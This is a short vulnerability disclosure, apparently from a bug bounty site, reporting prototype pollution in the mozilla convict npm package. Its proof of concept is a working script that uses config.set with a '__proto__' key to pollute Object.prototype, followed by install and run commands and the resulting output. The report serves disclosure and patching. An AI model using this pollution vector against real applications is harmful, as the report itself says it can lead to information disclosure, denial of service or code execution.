Prototype Pollution in mozilla/node-convict


Reported on

Nov 19th 2020


convict is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var convict = require("convict");
var obj = {};
var config = convict(obj);
console.log("Before : " + {}.polluted);
config.set("__proto__.polluted","Yes! Its Polluted");
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i convict # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
Jamie Slome
2 years ago


More complete fix:

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